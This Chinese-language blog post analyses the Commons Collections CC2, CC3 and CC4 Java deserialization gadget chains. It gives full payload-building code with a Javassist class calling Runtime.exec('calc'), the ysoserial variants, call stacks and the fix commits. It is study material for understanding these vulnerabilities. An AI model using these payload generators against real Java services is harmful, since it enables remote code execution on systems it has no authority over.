前景提要 https://lrui1.top/posts/42a999ad/

CC2

触发类是TemplatesImpl,自底向上分析一下

攻击链构造

TemplatesImpl

TemplatesImpl.getTransletInstance()方法,将自身属性_class[_transletIndex]的值进行实例化,而且前面有对_class作判空处理,为空则调用defineTransletClasses方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* This method generates an instance of the translet class that is
* wrapped inside this Template. The translet instance will later
* be wrapped inside a Transformer object.
*/
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

分析defineTransletClasses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* Defines the translet class and auxiliary classes.
* Returns a reference to the Class object that defines the main class
*/
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

先对_bytecodes作判空处理,随后获取TransletClassLoader类加载器;根据_bytecodes字节二维数组的行数,调用循环,对每行的bytecode数组使用loader.defineClass处理,将加载的Class存储到_class数组中。

随后获取加载类的父类,判断是否为ABSTRACT_TRANSLET,如果是,_transletIndex进行标记,意思是这个索引下的类是主类,如果不是则认为是辅助类

再回到getTransletInstance,在我们执行完defineTransletClasses逻辑后,只有主类才会被实例化,即_transletIndex索引标记的类

所以,我们可以编写一段测试代码,使用TemplatesImpl.getTransletInstance()来实现恶意字节码加载,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@Test  
public void testTemplatesImpl_getTransletInstance() throws Exception {
// 动态创建Evil类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] bytecode = cc.toBytecode();

// 实例化TemplateImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<?> cl = TemplatesImpl.class;
// 赋值_byteCodes
Field byteCodeField = cl.getDeclaredField("_bytecodes");
byteCodeField.setAccessible(true);
byteCodeField.set(templatesImpl, new byte[][]{bytecode});
// 赋值_name(不然代码跑步下去,第一行就return)
Field nameField = cl.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "lrui1");
// 赋值_tfactory,要不然获取类加载器会失败,NullPointerException
Field tFactoryField = cl.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templatesImpl, new TransformerFactoryImpl());

// 反射调用getTransletInstance
Method method = cl.getDeclaredMethod("getTransletInstance");
method.setAccessible(true);
method.invoke(templatesImpl);
}

可以弹出计算器

继续往上找链,有且仅有一处调用,TemplatesImpl.newTransformer;继续往上找链,有3处调用;其中TemplatesImpl.getOutputProperties为自身调用。

因此,只要调用TemplatesImpl.getOutputPropertiesTemplatesImpl.newTransformer,该类就会实例化其自身的bytecode二维数组,并实例化继承至AbstractTranslet的类。

继续Find Usage,没有其他调用了,只能使用InvokerTransformer来调用上述的两个公共方法了

ChainedTransformer

前置知识可参考 https://lrui1.top/posts/7929b704/#相关类学习

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
@Test  
public void testTransformer() throws Exception {
// 动态创建Evil类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] bytecode = cc.toBytecode();

// 实例化TemplateImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<?> cl = TemplatesImpl.class;
// 赋值_byteCodes
Field byteCodeField = cl.getDeclaredField("_bytecodes");
byteCodeField.setAccessible(true);
byteCodeField.set(templatesImpl, new byte[][]{bytecode});
// 赋值_name(不然代码跑步下去,第一行就return)
Field nameField = cl.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "lrui1");
// 赋值_tfactory,要不然获取类加载器会失败,NullPointerException
Field tFactoryField = cl.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templatesImpl, new TransformerFactoryImpl());

ChainedTransformer chtr = new ChainedTransformer(
new ConstantTransformer(templatesImpl),
new InvokerTransformer("getOutputProperties", null, null)
);
chtr.transform("随便输入");
}

可弹出计算器,继续往上找链,TransformingComparator.compare方法存在调用transform

image.png

TransformingComparator.compare()

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Test  
public void testCompare() throws Exception {
// 动态创建Evil类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] bytecode = cc.toBytecode();

// 实例化TemplateImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<?> cl = TemplatesImpl.class;
// 赋值_byteCodes
Field byteCodeField = cl.getDeclaredField("_bytecodes");
byteCodeField.setAccessible(true);
byteCodeField.set(templatesImpl, new byte[][]{bytecode});
// 赋值_name(不然代码跑步下去,第一行就return)
Field nameField = cl.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "lrui1");
// 赋值_tfactory,要不然获取类加载器会失败,NullPointerException
Field tFactoryField = cl.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templatesImpl, new TransformerFactoryImpl());

ChainedTransformer chtr = new ChainedTransformer(
new ConstantTransformer(templatesImpl),
new InvokerTransformer("getOutputProperties", null, null)
);

TransformingComparator trcm = new TransformingComparator(chtr);
trcm.compare(1, 2);
}

TransformingComparator.compare()方法是接口Comparator中对compare方法的实现,继续往上找链,(77 results),反向找估计是行不通了,站在前人的肩膀上,我们发现PriorityQueue这个类存在调用compare

image.png

PriorityQueue.siftDownUsingComparator

这个方法是PriorityQueue,在反序列化时,对加入的元素进行排序的;对这个方法Find Usage,发现其被自身siftDown方法调用,siftDown又被自身heapify调用,heapify最后被自身readObject调用,于是一整条链成功串起

readObject代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Reconstitutes the {@code PriorityQueue} instance from a stream
* (that is, deserializes it).
*
* @param s the stream
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
// 元素保证处于“适当顺序”,但
// spec从未解释过这可能是什么。
heapify();
}

heapify的方法描述上看,它是基于堆排序,对我们反序列化的数据进行排序,默认我们的数据是无序的。因此,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@Test  
public void testCC2() throws Exception {
// 动态创建Evil类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
byte[] bytecode = cc.toBytecode();

// 实例化TemplateImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<?> cl = TemplatesImpl.class;
// 赋值_byteCodes
Field byteCodeField = cl.getDeclaredField("_bytecodes");
byteCodeField.setAccessible(true);
byteCodeField.set(templatesImpl, new byte[][]{bytecode});
// 赋值_name(不然代码跑步下去,第一行就return)
Field nameField = cl.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "lrui1");
// 赋值_tfactory,要不然获取类加载器会失败,NullPointerException
Field tFactoryField = cl.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templatesImpl, new TransformerFactoryImpl());

ChainedTransformer chtr = new ChainedTransformer(
new ConstantTransformer(templatesImpl),
new InvokerTransformer("getOutputProperties", null, null)
);

// 实例化TransformingComparator,并传入Transformer
TransformingComparator trcm = new TransformingComparator(chtr);

// 实例化PriorityQueue,先存值,再反射修改compare
PriorityQueue<Integer> payload = new PriorityQueue<>();
payload.add(1);
payload.add(2);
Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(payload, trcm);

// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC2.bin"));
ous.writeObject(payload);
}

public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));
Object o = ois.readObject();
ois.close();
System.out.println("unser successfully");
User user = (User) o;
System.out.println(user);
sc.close();
}

CC2的利用版本依赖是4.0,之前一直在3.2.1上分析,TransformingComparator没实现Serializable接口,不能参与序列化;4.0版本实现了Serializable接口,才可以被利用

可弹出计算器

image.png

总结

整体调用链如下

1
2
3
4
5
6
7
8
9
10
11
PriorityQueue.readObject() // kick-off gadget
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform() // 中间都是chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() // sink gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
org.apache.commons.collections4.functors.InvokerTransformer.transform(InvokerTransformer.java:129)
org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721)
java.util.PriorityQueue.siftDown(PriorityQueue.java:687)
java.util.PriorityQueue.heapify(PriorityQueue.java:736)
java.util.PriorityQueue.readObject(PriorityQueue.java:795)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

依赖版本

commons-collections4 : 4.0

JDK:文章复现版本为1.8.0_65、1.8.0_202,暂不清楚JDK版本限制

基于TemplatesImpl构造的反序列化链,在Fastjson中也有利用到 https://lrui1.top/posts/d7cae60e/#fastjson-1-2-24

ysoserial的实现

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Queue<Object> getObject(final String command) throws Exception {  
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}
  1. 先创建一个TemplatesImpl模板,随后先初始化一个InvokeTransformer,让其transform执行tostring()
  2. 新建一个PriorityQueue,大小为2,重写Comparator
  3. 添加值后,将transform的方法从toString -> newTransformer
  4. 在通过反射,将其中的一个值改为templates实例——为的是再调用transform时,可作为参数传入(调用compare时,transform(templates))

我多套了一层ChainedTransformer,让ConstantTransformer直接返回templates实例,就不用再PriorityQueue中设置了

修复措施

https://github.com/apache/commons-collections/commit/e585cd0433ae4cfbc56e58572b9869bd0c86b611#diff-2d13b1592fb865090f134fe9d88dee2cb2e24170a5338d5df79a495b34b207a9

在4.1版本移除了对InvokerTransformer序列化的支持

CC3

相关类学习

InstantiateTransformer

类描述:通过反射创建新对象实例的Transformer实现,其transform代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* Transforms the input Class object to a result by instantiation.
* 通过实例化将传入的Class对象转换为实例
*
* @param input the input object to transform
* @return the transformed result
*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

传入的必须是Class实例,随后获取其public声明的构造函数,进行实例化

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
@Test
public void testInstantiateTransformer() throws Exception {
InstantiateTransformer it = new InstantiateTransformer(null, null);
it.transform(CC3Test.class);
}

public static class CC3Test {
public CC3Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

攻击链构造

InstantiateTransformer&TrAXFilter

之前在CC2的分析中,我们有一个结论:

只要调用TemplatesImpl.getOutputPropertiesTemplatesImpl.newTransformer,该类就会实例化其自身的bytecode二维数组,并实例化继承至AbstractTranslet的类。

虽然这些方法是公共方法,但是InstantiateTransformer只能调用类的公共构造函数,那么有没有其他类的公共构造函数直接或间接调用上述的两个方法呢?

有的,对getOutputPropertiesnewTransformer Find Usage,发现com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter的public构造方法存在调用

image.png

代码如下

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws  
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

因此,调用 InstantiateTransformer.transform() -> TrAXFilter实例化 -> templates.newTransformer(),这一部分已经可以触发代码执行,测试代码如下

1
2
3
4
5
6
7
@Test  
public void testTransform() throws Exception {
Templates calc = Gadget.CreateTemplateImpl("calc");

InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calc});
it.transform(TrAXFilter.class);
}

Gadget.CreateTemplateImpl代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static Templates CreateTemplateImpl(String cmd) throws Exception {  
// 动态创建Evil类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String payload = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
cc.makeClassInitializer().insertBefore(payload);
byte[] bytecode = cc.toBytecode();

// 实例化TemplateImpl
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<?> cl = TemplatesImpl.class;
// 赋值_byteCodes
Field byteCodeField = cl.getDeclaredField("_bytecodes");
byteCodeField.setAccessible(true);
byteCodeField.set(templatesImpl, new byte[][]{bytecode});
// 赋值_name(不然代码跑步下去,第一行就return)
Field nameField = cl.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "lrui1");
// 赋值_tfactory,要不然获取类加载器会失败,NullPointerException
Field tFactoryField = cl.getDeclaredField("_tfactory");
tFactoryField.setAccessible(true);
tFactoryField.set(templatesImpl, new TransformerFactoryImpl());

return templatesImpl;
}

基于CC1构造Gadget

CC1中我们采用了AnnotationInvocationHandler结合动态代理,触发LazyMap.get的方案,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
@Test  
public void testCC3() throws Exception {
Templates calc = Gadget.CreateTemplateImpl("calc");

// 构造Transform
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calc})
});

HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

// 反射构造AnnotationInvocationHandler
Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);

// 动态代理Map接口
Map map = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invoha
);

Object payload = constructor.newInstance(Override.class, map);
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC3.bin"));
ous.writeObject(payload);
System.out.println("ser successfully!");

}

public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));
Object o = ois.readObject();
ois.close();
System.out.println("unser successfully");
User user = (User) o;
System.out.println(user);
sc.close();
}

成功弹出计算器

image.png

总结

调用链如下

1
2
3
4
5
6
7
8
9
10
11
AnnotationInvocationHandler.readObject() // kick-off gadget
(Map)Proxy4.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform() // 中间都是chain gadget
InstantiateTransformer.transform()
TrAXFilter.<init>(TrAXFilter.java:64)
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() // sink gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
java.lang.reflect.Constructor.newInstance(Constructor.java:422)
org.apache.commons.collections.functors.InstantiateTransformer.transform(InstantiateTransformer.java:106)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响版本

commons-collections : 3.1~3.2.1
JDK:不清楚,本文章1.8.0_65 仍可复现成功

ysoserial的实现

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public Object getObject(final String command) throws Exception {  
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

思路类似,区别是刚开始设置一个ConstantTransformer,在序列化之前使用真正的transformers进行替换

修复措施

https://github.com/apache/commons-collections/commit/bce4d022f27a723fa0e0b7484dcbf0afa2dd210a

使用工具类校验,重写了InstantiateTransformerreadObject方法,默认不对其进行序列化&反序列化

CC4

ysoserial的实现

ysoserial的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Queue<Object> getObject(final String command) throws Exception {  
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

显而易见,其是CC2的变种,CC2采用PriorityQueue触发compare触发InvokeTransformer,而CC4则是采用PriorityQueue触compare触发InstantiateTransformer,由于知道其没啥新玩意,就不想之前的链一样调试截图了

TreeBag

su18师傅给出了一个TreeBag触发compare的思路,大家可以查看原文 https://su18.org/post/ysoserial-su18-2/#commonscollections4

下文给出俺关于su18师傅思路的测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Test  
public void testTreeBag() throws Exception {
Templates calc = Gadget.CreateTemplateImpl("calc");
ChainedTransformer chainedTransformer = new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{calc})
);

// normal
ConstantTransformer normal = new ConstantTransformer(1);
TransformingComparator trco = new TransformingComparator(normal);

// 先添加
TreeBag trb = new TreeBag(trco);
trb.add(1);
trb.add(2);

// 反射修改trco的transform
Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(trco, chainedTransformer);

// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC4.bin"));
ous.writeObject(trb);
System.out.println("ser successfully");

}

image.png

调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
TreeBag.readObject() // kick-off gadget
AbstractMapBag.doReadObject()
TreeMap.put()
TreeMap.compare()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform() // 中间都是chain gadget
InstantiateTransformer.transform()
TrAXFilter.<init>(TrAXFilter.java:64)
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() // sink gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.<init>(TrAXFilter.java:64)
sun.reflect.NativeConstructorAccessorImpl.newInstance0(NativeConstructorAccessorImpl.java:-1)
sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
java.lang.reflect.Constructor.newInstance(Constructor.java:422)
org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:116)
org.apache.commons.collections4.functors.InstantiateTransformer.transform(InstantiateTransformer.java:32)
org.apache.commons.collections4.functors.ChainedTransformer.transform(ChainedTransformer.java:112)
org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:81)
java.util.TreeMap.compare(TreeMap.java:1291)
java.util.TreeMap.put(TreeMap.java:538)
org.apache.commons.collections.bag.AbstractMapBag.doReadObject(AbstractMapBag.java:513)
org.apache.commons.collections.bag.TreeBag.readObject(TreeBag.java:112)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

写在最后

吸收容易输出难啊,之前没输出感觉都白看了,继续肝吧

参考链接

https://su18.org/post/ysoserial-su18-2/#traxfilter

https://github.com/apache/commons-collections